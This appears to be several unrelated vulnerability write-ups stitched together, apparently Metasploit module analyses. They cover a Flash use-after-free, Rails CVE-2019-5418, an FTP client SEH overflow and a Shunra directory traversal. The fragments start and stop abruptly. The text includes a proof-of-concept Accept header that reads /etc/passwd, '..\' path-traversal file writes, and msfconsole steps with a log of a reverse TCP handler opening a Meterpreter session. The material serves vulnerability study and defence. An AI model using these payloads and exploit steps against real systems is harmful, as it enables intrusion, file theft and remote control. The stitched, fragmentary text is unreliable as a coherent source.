00120b8c 321bc223 wwlib!wdGetApplicationObject+0x4c587
00120ba0 321bc330 wwlib!wdGetApplicationObject+0x4cc85
00120de8 0fa09d3a wwlib!wdGetApplicationObject+0x4cd92
00120e28 0f9e3fbf VBE7!rtcStrConvVar+0x960a
00120e5c 0f9e53ac VBE7!rtUI1FromErrVar+0x4515
00120eec 321bcf43 VBE7!rtUI1FromErrVar+0x5902
00120fb0 321bd18e wwlib!wdGetApplicationObject+0x4d9a5
00120fd8 31be95dc wwlib!wdGetApplicationObject+0x4dbf0
”`
Technical Analysis
.text:7625B0F2
.text:7625B0F2 loc_7625B0F2: ; CODE XREF: _MemAllocClear(x)+25j
.text:7625B0F2 ; _MemAllocClear(x)+33j …
.text:7625B0F2 push [ebp+dwBytes] ; dwBytes
.text:7625B0F5 push 8 ; dwFlags
.text:7625B0F7 push _g_hProcessHeap ; hHeap
.text:7625B0FD call ds:impHeapAlloc@12 ; HeapAlloc(x,x,x)
.text:7625B103
.text:7625B103 loc_7625B103: ; CODE XREF: _MemAllocClear(x)+71j
.text:7625B103 pop edi
.text:7625B104 pop ebx
.text:7625B105 leave
.text:7625B106 retn 4
.text:7625B106 __MemAllocClear@4 endp
.text:7625B106
”`
Technical Analysis
http://en.wikipedia.org/wiki/Adobe_Flash_Player
Congrats! You are reading about the most beautiful Flash bug for the last four
years since CVE-2010-2161.
The use-after-free vulnerability exists inside the built-in ByteArray class
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html
Let’s create a simple ByteArray object:
var ba:ByteArray = new ByteArray(); ba.length = 8; ba[1] = 1;
Now we can access ba[] items and write numeric byte values into ba[].
Also we are allowed to write objects into ByteArray. For example:
var obj = new MyClass(); ba[0] = obj;
AS3 will try to implicitly convert the MyClass object into numeric value by
calling the MyClass.valueOf() method. This method can be easily redefined
within the user’s code:
class MyClass { prototype.valueOf = function() { ba.length = 88; // reallocate ba[] storage return 0; // return byte for ba[offset] } }
Let’s see how that implicit conversion occurs inside the native code:
push esi mov eax, [esp+8] // the offset value from "ba[offset] = obj" push eax add ecx, 0x18 // ecx = this = "ba" object pointer call ByteArray.getStorage() // gets ba[offset] storage pointer and mov esi, eax // saves it in esi mov ecx, [esp+0xC] // "obj" pointer push ecx call AvmCore.toInteger() // call MyClass.valueOf() add esp,4 mov [esi], al // writes returned byte into array pop esi ret 8
On high-level language this will look like:
void ByteArray.setObjInternal(int offset, obj) { byte* dest = this.getStorage(offset); dest* = toInteger(obj); }
So the array storage pointer is saved in local variable, then AS3 valueOf() is
invoked from the native code and returned byte is written into destination
pointer at the end. If valueOf() changes the length of byte array (see above)
and reallocates its internal storage, then local destination pointer becomes
obsolete and further usage of that pointer can lead to UaF memory corruption.
Using this vulnerability, it’s very easy to control what byte will be written
and at which offset this corruption will occur.
AFFECTED SOFTWARE
Adobe Flash Player 9 and higherTESTING
Open the test “calc.htm” file in your browser and press the button.
on Windows:
Calc.exe should be popped on desktop IE.
Calc.exe should be run as a non-GUI child process in metro IE.
Payload returns 0 from CreateProcessA(“calc.exe”) inside Chrome/FF sandbox.
on OS X:
Calculator is launched in FF or standalone Flash Player projector.
Payload returns 1 from vfork() in Safari sandbox.
Technical Analysis
Details
Install
MySQL-client-community-5.1.66-1.rhel4.i386.rpm MySQL-shared-community-5.1.66-1.rhel4.i386.rpm
MySQL-server-community-5.1.66-1.rhel4.i386.rpm
Packages available here: http://downloads.skysql.com/archive/index/p/mysql/v/5.1.66
On a fresh CentOS install (minimal) mysql-libs are installed, it and its dependencies should be deleted with rpm -e (all at the same time).
Once installed add a user:
mysql> CREATE USER 'juan'@'%' IDENTIFIED BY 'mypass'; Query OK, 0 rows affected (0.00 sec)
And grant privileges:
mysql> GRANT ALL PRIVILEGES ON *.* TO 'juan'@'%'; Query OK, 0 rows affected (0.00 sec)
mysql> FLUSH PRIVILEGES; Query OK, 0 rows affected (0.00 sec)
Ready to test…
Start through mysqld_safe:
[root@localhost mysql]# /usr/bin/mysqld_safe --user=mysql 130712 07:23:38 mysqld_safe Logging to '/var/lib/mysql/localhost.localdomain.err'. 130712 07:23:38 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
Technical Analysis
Background
Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) archtecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soudcloud, Groupon, Twitch.tv, and of course, Rapid7’s Metasploit.
Ruby on Rails versions including 5.2.2.1 and prior are vulnerable to directory traversal in Action View. More specifically, a specially crafted accept header in combination with calls to reander file:
can cause arbitrary files on the target server to be rendered, disclosing the file contents.
In this documentation, I’ll go over:
- The setup I used to test the vulnerable environment.
- My analysis on the vulnerability. Including the basics on how Rails utilities rendering. Also, based on that knowledge, how the directory traversal happens.
- Some information about patching.
Vulnerable Setup
In order to set up a vulnerable box for testing, do the following on a Linux (Ubuntu) machine, assuming rvm is already installed:
$ rvm gemset create test
$ rvm gemset use test
$ gem install rails '5.2.1'
$ rails new demo
Next, cd
to demo, and then modify the Gemfile like this:
$ echo "gem 'rails', '5.2.1'" >> Gemfile $ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile $ echo "source 'https://rubygems.org'" >> Gemfile $ bundle
Next, add a new controller:
rails generate controller metasploit
And add the index method for that controller (under app/controllers/metasploit_controller.rb):
class MetasploitController < ApplicationController def index render file: "#{Rails.root}/test.html" end end
In the root directory, add a new test.html.
echo Hello World > test.html
Also, add that new route in config/routes.rb:
Rails.application.routes.draw do resources :metasploit end
And finally, start the application:
rails s -b 0.0.0.0
Vulnerability Analysis
An advisory was already made available by the time the vulnerability was published. The first paragraph of that advisory pretty much explains the most important piece of the problem:
There is a possible file content disclosure vulnerability in Action View. Specially crafted accept headers in combination with calls to
render file:
can cause arbitrary files on the target server to be rendered, disclosing the file contents.
So knowing that about Action View, we want to examine the code to understand how rendering works for a file. To begin on a vulnerable machine, we can use the gem env
command to locate the gems:
$ gem env RubyGems Environment: - RUBYGEMS VERSION: 3.0.1 - RUBY VERSION: 2.6.0 (2018-12-25 patchlevel 0) [x86_64-linux] - INSTALLATION DIRECTORY: /home/sinn3r/.rvm/gems/ruby-2.6.0 - USER INSTALLATION DIRECTORY: /home/sinn3r/.gem/ruby/2.6.0 - RUBY EXECUTABLE: /home/sinn3r/.rvm/rubies/ruby-2.6.0/bin/ruby - GIT EXECUTABLE: /usr/bin/git - EXECUTABLE DIRECTORY: /home/sinn3r/.rvm/gems/ruby-2.6.0/bin - SPEC CACHE DIRECTORY: /home/sinn3r/.gem/specs - SYSTEM CONFIGURATION DIRECTORY: /home/sinn3r/.rvm/rubies/ruby-2.6.0/etc - RUBYGEMS PLATFORMS: - ruby - x86_64-linux - GEM PATHS: - /home/sinn3r/.rvm/gems/ruby-2.6.0 - /home/sinn3r/.rvm/rubies/ruby-2.6.0/lib/ruby/gems/2.6.0 ... omitted below ...
The first path from GEM PATHS
is what we want, which is where the Action View gem is saved:
/home/sinn3r/.rvm/gems/ruby-2.6.0/gems/actionview-5.2.1
Since the bug is related to rendering a file, the find
command reveals the following files associated with rendering that we can investigate:
$ find . -name *render* ./lib/action_view/renderer ./lib/action_view/renderer/renderer.rb ./lib/action_view/renderer/partial_renderer ./lib/action_view/renderer/partial_renderer.rb ./lib/action_view/renderer/template_renderer.rb ./lib/action_view/renderer/abstract_renderer.rb ./lib/action_view/renderer/streaming_template_renderer.rb ./lib/action_view/rendering.rb ./lib/action_view/helpers/rendering_helper.rb
The Mechanics of Rails Rendering
It is easy to narrow down what we should be looking at, because there aren’t that many files using the :file
key, which is what the advisory describes. I decided to start with rendering_helper.rb (the ActionView::Helpers::RenderingHelper
module), which seems to be a mixin for rendering, and hopefully I can eventually find the buggy code that way.
Here’s the render
method ActionView::Helpers::RenderingHelper
, it’s great that there’s API documentation:
# Returns the result of a render that's dictated by the options hash. The primary options are: # # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>. # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those. # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller. # * <tt>:plain</tt> - Renders the text passed in out. Setting the content # type as <tt>text/plain</tt>. # * <tt>:html</tt> - Renders the HTML safe string passed in out, otherwise # performs HTML escape on the string first. Setting the content type as # <tt>text/html</tt>. # * <tt>:body</tt> - Renders the text passed in, and inherits the content # type of <tt>text/plain</tt> from <tt>ActionDispatch::Response</tt> # object. # # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter # as the locals hash. def render(options = {}, locals = {}, &block) case options when Hash if block_given? view_renderer.render_partial(self, options.merge(partial: options[:layout]), &block) else view_renderer.render(self, options) end else view_renderer.render_partial(self, partial: options, locals: locals, &block) end end
Notice this is more like a wrapper that relies on view_renderer
, which is an ActionView::Renderer
object. OK, let’s take a look at that.
The ActionView::Renderer class
The ActionView::Renderer
class starts off with its own documentation, which makes it easy to understand its purpose and usage:
This is the main entry point for rendering. It basically delegates to other objects like TemplateRenderer and PartialRenderer which actually renders the template.
The Renderer will parse the options from the render or render_body method and render a partial or a template based on the options. The TemplateRenderer and PartialRenderer objects are wrappers which do all the setup and logic necessary to render a view and a new object is created each time render is called.
Looking at that, we learn one of these three classes could be used: StreamingTemplateRenderer, TemplateRenderer, and PartialRenderer. It isn’t hard to figure out which one we should be looking at, because since the advisory says we are looking at a render
function for :file
, it is clear we should be looking at TemplateRenderer because only that one is checking the :file
key.
The ActionView::TemplateRenderer Class
Inside the TemplateRenderer class, there is only one public method, which is the render
method. When this is called, the method performs the following for our template:
template = determine_template(options) prepend_formats(template.formats) @lookup_context.rendered_format ||= (template.formats.first || formats.first) render_template(template, options[:layout], options[:locals])
Inside determine_template
is when our :file
key is actually used for the first time:
elsif options.key?(:file) with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
find_file
is the first thing that gets called. To find this, a quick search in the file system with grep
identifies two files that are associated with this name:
$ grep -iR "def " * |grep find_file lib/action_view/lookup_context.rb: def find_file(name, prefixes = [], partial = false, keys = [], options = {}) lib/action_view/path_set.rb: def find_file(path, prefixes = [], *args)
After a bit of code reading, the functionality of find_file
is seen in the lib/action_view/path_set.rb file:
def find_file(path, prefixes = [], *args) _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args)) end ... private def _find_all(path, prefixes, args, outside_app) prefixes = [prefixes] if String === prefixes prefixes.each do |prefix| paths.each do |resolver| if outside_app templates = resolver.find_all_anywhere(path, prefix, *args) else templates = resolver.find_all(path, prefix, *args) end return templates unless templates.empty? end end [] end
The PathResolver Class
Notice in the above code, outside_app
is hardcoded to true, so we want to be looking at find_all_anywhere
. This method can be found in in the PathResolver
class in lib/action_view/template/resolver.rb:
def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = []) cached(key, [name, prefix, partial], details, locals) do find_templates(name, prefix, partial, details, true) end end
Going down to that rabbit hole, let’s just keep reading what find_templates
is doing:
def find_templates(name, prefix, partial, details, outside_app_allowed = false) path = Path.build(name, prefix, partial) query(path, details, details[:formats], outside_app_allowed) end def query(path, details, formats, outside_app_allowed) query = build_query(path, details) template_paths = find_template_paths(query) template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed template_paths.map do |template| handler, format, variant = extract_handler_and_format_and_variant(template) contents = File.binread(template) Template.new(contents, File.expand_path(template), handler, virtual_path: path.virtual, format: format, variant: variant, updated_at: mtime(template) ) end end
There are some interesting things about the query
method. Although at first glance, you wouldn’t know exactly what those functions do, but Ruby is such an easy-to-read language, you still get an idea what this method is trying to do just by reading.
For example, this line implies it is for building some kind of query that is associated with a path. This line is actually extra important, which I will explain in a separate section later:
query = build_query(path, details)
In the next line, this seems to be loading template paths as the name implies:
template_paths = find_template_paths(query)
And then it passes those paths to this block of code:
template_paths.map do |template| handler, format, variant = extract_handler_and_format_and_variant(template) contents = File.binread(template) ...
Which clearly loads the content of the files indivisually. And then finally:
Template.new(contents, File.expand_path(template), handler, virtual_path: path.virtual, format: format, variant: variant, updated_at: mtime(template) )
This means the content gets converted into a Template object, and that is returned all the way to the determine_template
function we were looking at originally:
template = determine_template(options) prepend_formats(template.formats) @lookup_context.rendered_format ||= (template.formats.first || formats.first) render_template(template, options[:layout], options[:locals])
It looks like if the user is able to control the template name, then the query
method will just load whatever you want, load the file, and pass it for rendering. Well, a normal Rails application probably would not want to let you load whatever you file, because that obviously would be too risky, but CVE-2019-5418 found its way.
From HTTP Header to Directory Traversal
Now that we have a basic understanding of the rendering mechanics, the next question is: How does a directroy traversal occur from an HTTP ACCEPT header? Typically that is not how a directory traversal attack would work against a web server, but for CVE-2019-5418, it is. The proof-of-concept demonstrates:
def get_accept_header_value(depth, file) return (('../'*depth) + file + '{{').gsub('//', '/') end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['ROUTE']), 'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')} })
The reason our HTTP ACCEPT header ends up being loaded as a template is because the way the query
method works. As you already know, this method’s main job is to load a file, and then convert that content into a Template object. Well, something funny happens in this method when it tries to call build_query
:
def build_query(path, details) query = @pattern.dup prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1" query.gsub!(/:prefix(\/)?/, prefix) partial = escape_entry(path.partial? ? "_#{path.name}" : path.name) query.gsub!(/:action/, partial) details.each do |ext, candidates| if ext == :variants && candidates == :any query.gsub!(/:#{ext}/, "*") else query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}") end end File.expand_path(query, @path) end
The @pattern
variable holds this value as a string:
:prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}
The details argument is actually a hash that looks like the following. Notice the directory traversal string in the :formats
key, which indicates where the HTTP ACCEPT header is stored:
{:locale=>[:en], :formats=>["../../../../../../../../../../etc/passwd{{"], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}
Looking at the Ruby code, we know that it is just simply replacing specific parts of the string with the hash above. When it comes to the formats
pattern, it is replaced with the ACCEPT header due to this line:
query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
After the modification, our string actually looks like this:
"home/sinn3r/demo/test.html{.{en},}{.{../../../../../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
After the File.expand_path
call, the query string is actually:
"/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
After this query is created, it is passed to the next method called fine_template_paths
, which will actually normalize the query for us:
def find_template_paths(query) Dir[query].uniq.reject do |filename| File.directory?(filename) || # deals with case-insensitive file systems. !File.fnmatch(query, filename, File::FNM_EXTGLOB) end
Using Pry (an interactive shell for Ruby), we can demonstrate this problem:
[7] pry(#<ActionView::FallbackFileSystemResolver>)> path = File.expand_path("home/sinn3r/demo/test.html{.{en},}{.{../../../../../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}", @path) => "/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}" [8] pry(#<ActionView::FallbackFileSystemResolver>)> find_template_paths(path) => ["/etc/passwd"]
After that point, the path will be used to create a Template object, and the application ends up loading something that it’s not supposed to load. That is our directory traversal bug.
Patching
The way CVE-2019-5418 is patched is quite simple. Instead of allowing any formats, Rails now only allows the registered MIME types, which makes sense because “registered” implies trusted:
v = v.select do |format| format.symbol || format.ref == "*/*" end
However, I can’t help but feel the way the build_query
method is written, and how it is used, is prone to problems. gsub
is probably too much freedom on a string, especially that string is used as a file path.
Technical Analysis
-
[+] Processing arguments and criteria
- Pointer access level : X - Pointer criteria : ['unicoderev']
[+] Generating module info table, hang on…
- Processing modules - Done. Let's rock 'n roll.
[+] Querying 56 modules
- Querying module NMCP32.DLL
*** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\xpsp2res.dll
- Querying module urlmon.dll - Querying module msxml3.dll - Querying module CRYPT32.dll - Querying module MSASN1.dll - Querying module kernel32.dll - Querying module msvcrt.dll - Querying module GDI32.dll - Querying module ntdll.dll - Querying module nmcd32.dll - Querying module wshtcpip.dll - Querying module WS2_32.dll - Querying module SENSAPI.DLL - Querying module ATL.DLL - Querying module CRYPTUI.dll - Querying module WININET.dll - Querying module CLBCATQ.DLL - Querying module Secur32.dll - Querying module WSOCK32.dll - Querying module rsaenh.dll - Querying module WS2HELP.dll - Querying module ole32.dll - Querying module SHLWAPI.dll - Querying module hnetcfg.dll - Querying module NMCH32.DLL - Querying module USER32.dll - Querying module comdlg32.dll - Querying module IMAGEHLP.dll - Querying module shdocvw.dll - Querying module NMCLEN.DLL - Querying module WINTRUST.dll - Querying module COMRes.dll - Querying module cscui.dll - Querying module OLEAUT32.dll - Querying module NETAPI32.dll - Querying module SHELL32.dll - Querying module RPCRT4.dll - Querying module CSCDLL.dll - Querying module mlang.dll - Querying module NMCL32.exe - Querying module USERENV.dll - Querying module nmenv2.dll - Querying module COMCTL32.dll - Querying module MSCTF.dll - Querying module WLDAP32.dll - Querying module VERSION.dll - Querying module mswsock.dll - Querying module appHelp.dll - Querying module browseui.dll - Querying module NMCA32.DLL - Querying module RichEd20.Dll - Querying module UxTheme.dll - Querying module ADVAPI32.dll - Querying module LINKINFO.dll - Querying module SETUPAPI.dll - Querying module ntshrui.dll - Search complete, processing results
[+] Preparing output file ‘jmp.txt’
- (Re)setting logfile jmp.txt
Done. Found 0 pointers
[+] This mona.py action took 0:02:13.578000
”`
- On the other hand, I’ve installed the linux client, but it’s a Java software, so there isn’t memory corruption, just a message warning about the malformed file
Technical Analysis
This is plib_free__3()
0:001> g
Destination buffer for WS2_32!recv() is at: 0x0233f4f4
Now we have located the destination buffer, and we know that eventually this will overflow. But we need to determine how this pointer is passed around. If we manaully cross-reference what other functions are passing a buffer pointer to ```sub_4383C0()```, you will notice there are too many stack buffer overflows. This took some time and breakpoints to figure out, but the correct code path for the our vulnerability should be:
sub_42C890() –> sub_42EE10() –> sub_42EA00() –> sub_4383C0()
Inside ```sub_42C890()```, we find the stack buffer:
AUTO:0042C8FF loc_42C8FF: ; CODE XREF: sub_42C890+16Aj
AUTO:0042C8FF ; sub_42C890+1B5j
AUTO:0042C8FF push edi
AUTO:0042C900 mov ebx, 3FFh
AUTO:0042C905 lea edx, [esp+2424h+var_41C]
AUTO:0042C90C push 1
AUTO:0042C90E mov eax, ds:dword_465100
AUTO:0042C913 mov ecx, edi
AUTO:0042C915 call sub_42EE10
And var_41C is 1024 bytes:
-0000041C var_41C db 1024 dup(?)
Once we know where the stack buffer comes from, we can move on to how the exploit crashes ftp.exe. We can observe this crash by setting up these breakpoints first to track the buffer pointer:
bp 0042c915 “.printf \“Passing static buffer pointer at 0x%08x\”, edx; .echo ;g”
bp 0042ea0c “.printf \“Destination buffer for receive is: 0x%08x\n\”, edx; .echo; g”
bp 0042eb73 “.printf \“EDX Text dump: %ma\n\”, edx; .echo; .echo; g”
The WinDBG output with the above breakpoints:
Passing static buffer pointer at 0x027ff4f4
Destination buffer for receive is: 0x027ff4f4
EDX Text dump: AAAAAAAAAAAAAAA …….. AAAAAAAAAAAAAAA (a very long string)
(d48.864): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=000003fe ecx=ffffdbfc edx=000003fe esi=027ffc02 edi=02800000
eip=0042cac5 esp=027fd4ec ebp=000023ee iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ftp+0x2cac5:
0042cac5 8807 mov byte ptr [edi],al ds:0023:02800000=??
In this crash, ESI is the source input, which is filled with our malicious input:
0:001> dd esi
027ffc02 41414141 41414141 41414141 41414141
027ffc12 41414141 41414141 41414141 41414141
027ffc22 41414141 41414141 41414141 41414141
027ffc32 41414141 41414141 41414141 41414141
027ffc42 41414141 41414141 41414141 41414141
027ffc52 41414141 41414141 41414141 41414141
027ffc62 41414141 41414141 41414141 41414141
027ffc72 41414141 41414141 41414141 41414141
EDI would be the destination buffer used for this copy routine:
AUTO:0042CAC3 loc_42CAC3: ; CODE XREF: sub_42C890+249j
AUTO:0042CAC3 mov al, [esi] ; ESI is the malicious input
AUTO:0042CAC5 mov [edi], al ; EDI = our buffer, and AL is a byte from the malicious input
AUTO:0042CAC7 cmp al, 0 ; Check null byte
AUTO:0042CAC9 jz short loc_42CADB ; Done copying
AUTO:0042CACB mov al, [esi+1] ; The next byte
AUTO:0042CACE add esi, 2
AUTO:0042CAD1 mov [edi+1], al
AUTO:0042CAD4 add edi, 2
AUTO:0042CAD7 cmp al, 0
AUTO:0042CAD9 jnz short loc_42CAC3 ; Continue copying if string isn’t null
Since the exploit supplies a string that is long enough, the SEH chain on the stack is also overwritten:
0:001> !exchain
027fff70: 41414141
Invalid exception stack at 41414141
The exploit simply overwrites the SEH chain to gain arbitrary code execution. ## Verification Steps To test the exploit: 1. Install the application 2. Start `msfconsole` 3. Do: `use exploit/windows/ftp/labf_nfsaxe` 4. Set options and payload 5. Do: `exploit` 6. Connect to the FTP server using the FTP client 7. You should get a session like the following demonstration:
msf exploit(windows/ftp/labf_nfsaxe) > run
[] Started reverse TCP handler on 172.16.85.1:4444
[] Please ask your target(s) to connect to 172.16.85.1:21
[] Server started.
msf exploit(windows/ftp/labf_nfsaxe) >
[] 172.16.85.134 – connected.
[] 172.16.85.134 – Response: Sending 220 Welcome
[] 172.16.85.134 – Request: AUTH GSSAPI
[] 172.16.85.134 – Response: sending 331 OK
[] 172.16.85.134 – Request: ADAT TlRMTVNTUA==
[] 172.16.85.134 – Response: Sending 230 OK
[] 172.16.85.134 – Request: USER Guest
[] 172.16.85.134 – Request: Sending the malicious response
[] Sending stage (179779 bytes) to 172.16.85.134
[*] Meterpreter session 1 opened (172.16.85.1:4444 –> 172.16.85.134:49213) at 2018-01-09 22:38:33 -0600
”`
Technical Analysis
The specific flaw exists within the toServerObject function. The method does not properly sanitize the input to this function allowing for directory traversal. An attacker can leverage this vulnerability to write files under the context of SYSTEM and achieve remote code execution.
- The URL to access the web service:
public static final String WS_NETWORKEDITOR_TO_SERVER_OBJECT_URI = "/savefile/{filename}";
- The “toServerObject” web service API:
public ShunraClientResponse toServerObject(String s, UIObject uiobject) throws Exception { try { return m_controller.toServerObject(uiobject, s); } catch(Exception exception) { exception.printStackTrace(); m_logger.error(exception.getMessage(), exception); throw exception; } }
Everything is delegated to :
private NetworkEditorController m_controller;
The NetworkEditorControllerImpl toServerObject:
public ShunraClientResponse toServerObject(UIObject uiobject, String s) { m_logger.debug("toServerObject"); FlowValidator flowvalidator = new FlowValidator(); try { uiobject.fileName = s; ShunraClientResponse shunraclientresponse = new ShunraClientResponse(); ErrorMessages errormessages = new ErrorMessages(); if(uiobject.flows.size() == 0) errormessages.generalErrors.add("Currently there are no flows to download"); else errormessages = flowvalidator.ValidateCollisionsBetweenFlows(uiobject.flows); if(errormessages.containsErrors()) { shunraclientresponse.SetFailure(errormessages); } else { ObjectsConverter objectsconverter = new ObjectsConverter(); FilesConverter filesconverter = new FilesConverter(); NtxObjectRepresentation ntxobjectrepresentation = objectsconverter.ConvertFromUIObjectToMultiFlowNtx(uiobject); String s1 = filesconverter.ConvertFromObjectToFile(ntxobjectrepresentation); String s2 = storage.saveTemporaryForDownload(s, s1); shunraclientresponse.SetSuccess(s2); } return shunraclientresponse; } catch(Exception exception) { exception.printStackTrace(); } return null; }
Where “s” is the file path and is user controlled. By default files are saved to “c:\windows\temp\files” (win 2003 sp2).
The attacker controles “s” through the URL, with “..\” sequences is posible to directory traversa.
Unfortunately contents (s1) are JSON converted contents. Example valid JSON:
{ "fileName": "ntxFile", "flows": [{ "wanCloud": { "latency": { "latencyType": "Fixed", "latency": 75 }, "packetLoss": { "packetLossType": "None" }, "bitError": { "isActive": false, "avgFrequency": 0, "min": 0, "max": 0 }, "congestion": { "isActive": false, "avgFrequency": 0, "min": 0, "max": 0, "fixedLatency": { "latencyType": "Fixed", "latency": 0 }, "randomPacketLoss": { "packetLossType": "Random", "chance": 0 } }, "disconnect": { "isActive": false, "avgFrequency": 0, "min": 0, "max": 0 }, "duplicatePackets": { "isActive": false, "chance": 0, "min": 0, "max": 0 }, "fragmentation": { "isActive": false, "chance": 0, "maxTransmitUnit": 0, "behavior": "Ignore" }, "outOfOrder": { "isActive": false, "chance": 0, "min": 0, "max": 0 } }, "clientGateway": { "bandwidth": { "upLink": { "isManual": true, "bandwidth": 330 }, "downLink": { "isManual": true, "bandwidth": 780 } }, "isActiveBucketLimitation": false, "bucketLimitation": null, "isActivePacketOverhead": false, "packetType": null }, "serverGateway": { "bandwidth": { "upLink": { "isManual": true, "bandwidth": 0 }, "downLink": { "isManual": true, "bandwidth": 0 } }, "isActiveBucketLimitation": false, "bucketLimitation": null, "isActivePacketOverhead": false, "packetType": null }, "endpoints": { "serverEndpoint": { "rangeGroups": [{ "includeRange": { "fromIp": "1.0.0.0", "toIp": "255.255.255.255", "protocol": "ALL", "port": 0 }, "excludeRanges": [{ "fromIp": "1.0.0.0", "toIp": "1.0.0.0", "protocol": "ALL", "port": 0 }] }], "rangeDefinition": "custom" }, "clientEndpoint": { "rangeGroups": [{ "includeRange": { "fromIp": "1.0.0.0", "toIp": "1.0.0.0", "protocol": "ALL", "port": 0 }, "excludeRanges": [] }], "rangeDefinition": "custom" } }, "packetList": true, "name": "3G" }] }
It allows to create a File like;
<NETWOR_X ID="Network_Editor" NAME="..\..\..\metasploit2.txt" ORIGIN="Network Editor Multi Flow" CREATED_BY="Network Editor Multi Flow" CREATED_ON_DATE="14-08-27 17:32:41" NETWOR_X_VERSION="2.2" CREATED_ON_HOST_NAME="juan-6ed9db6ca8"> <NET_OBJECTS> <WAN_CLOUD FLOW_ID="FLOWS_1-3G" ID="ID_WAN_CLOUD_FLOWS_1-3G" NAME="Wan" DESCRIPTION="3G"> <FIXED_LATENCY LATENCY="75.0"/> </WAN_CLOUD> <GATEWAY FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_GW_FLOWS_1-3G" NAME="Clientgateway"> <NICS> <NIC FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_GW__NIC_1_FLOWS_1-3G" NAME="ClientDownlink" BANDWIDTH="780.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/> <NIC FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_GW__NIC_2_FLOWS_1-3G" NAME="ClientUplink" BANDWIDTH="330.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/> </NICS> </GATEWAY> <GATEWAY FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_GW_FLOWS_1-3G" NAME="Servergateway"> <NICS> <NIC FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_GW__NIC_1_FLOWS_1-3G" NAME="ServerUplink" BANDWIDTH="0.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/> <NIC FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_GW__NIC_2_FLOWS_1-3G" NAME="ServerDownlink" BANDWIDTH="0.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/> </NICS> </GATEWAY> <ENDPOINT FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_FLOWS_1-3G" NAME="Client"> <INCLUDE_IPS> <IP_RANGE FROM_IP="1.0.0.0" TO_IP="1.0.0.0" PROTOCOL="0" PORT="0" IP_VERSION="4"/> </INCLUDE_IPS> </ENDPOINT> <ENDPOINT FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_FLOWS_1-3G" NAME="Server"> <INCLUDE_IPS> <IP_RANGE FROM_IP="1.0.0.0" TO_IP="255.255.255.255" PROTOCOL="0" PORT="0" IP_VERSION="4"/> </INCLUDE_IPS> <EXCLUDE_IPS> <IP_RANGE FROM_IP="1.0.0.0" TO_IP="1.0.0.0" PROTOCOL="0" PORT="0" IP_VERSION="4"/> </EXCLUDE_IPS> </ENDPOINT> <PACKET_LIST FLOW_ID="FLOWS_1-3G" ID="ID_PACKET_LIST_CLIENT_FLOWS_1-3G" NAME="PACKET_LIST_CLIENT_FLOWS_1-3G"/> </NET_OBJECTS> <LINKS> <LINK TO_OBJECT="ID_PACKET_LIST_CLIENT_FLOWS_1-3G" FROM_OBJECT="ID_CLIENT_FLOWS_1-3G" UNIDIRECTIONAL="false"/> <LINK TO_OBJECT="ID_CLIENT_GW__NIC_1_FLOWS_1-3G" FROM_OBJECT="ID_PACKET_LIST_CLIENT_FLOWS_1-3G" UNIDIRECTIONAL="false"/> <LINK TO_OBJECT="ID_WAN_CLOUD_FLOWS_1-3G" FROM_OBJECT="ID_CLIENT_GW__NIC_2_FLOWS_1-3G" UNIDIRECTIONAL="false"/> <LINK TO_OBJECT="ID_SERVER_GW__NIC_1_FLOWS_1-3G" FROM_OBJECT="ID_WAN_CLOUD_FLOWS_1-3G" UNIDIRECTIONAL="false"/> <LINK TO_OBJECT="ID_SERVER_FLOWS_1-3G" FROM_OBJECT="ID_SERVER_GW__NIC_2_FLOWS_1-3G" UNIDIRECTIONAL="false"/> </LINKS> </NETWOR_X>
Text contents can be controlled. Feasible attack vector: upload a JSP. Problems
- Shunra doesn’t handle JSP directly.
- Use the HP LoadRunner instance, unfortunately it’s not necessary to run it to have Shunra running. So it’s hard to write a reliable
exploit which work son the default conditions.
Maybe there is something I’m forgetting to get reliable code execution with not full controled (text contents) traversal…feedback is welcome.
Technical Analysis
The stack overflow happens in sub_10004BC8:
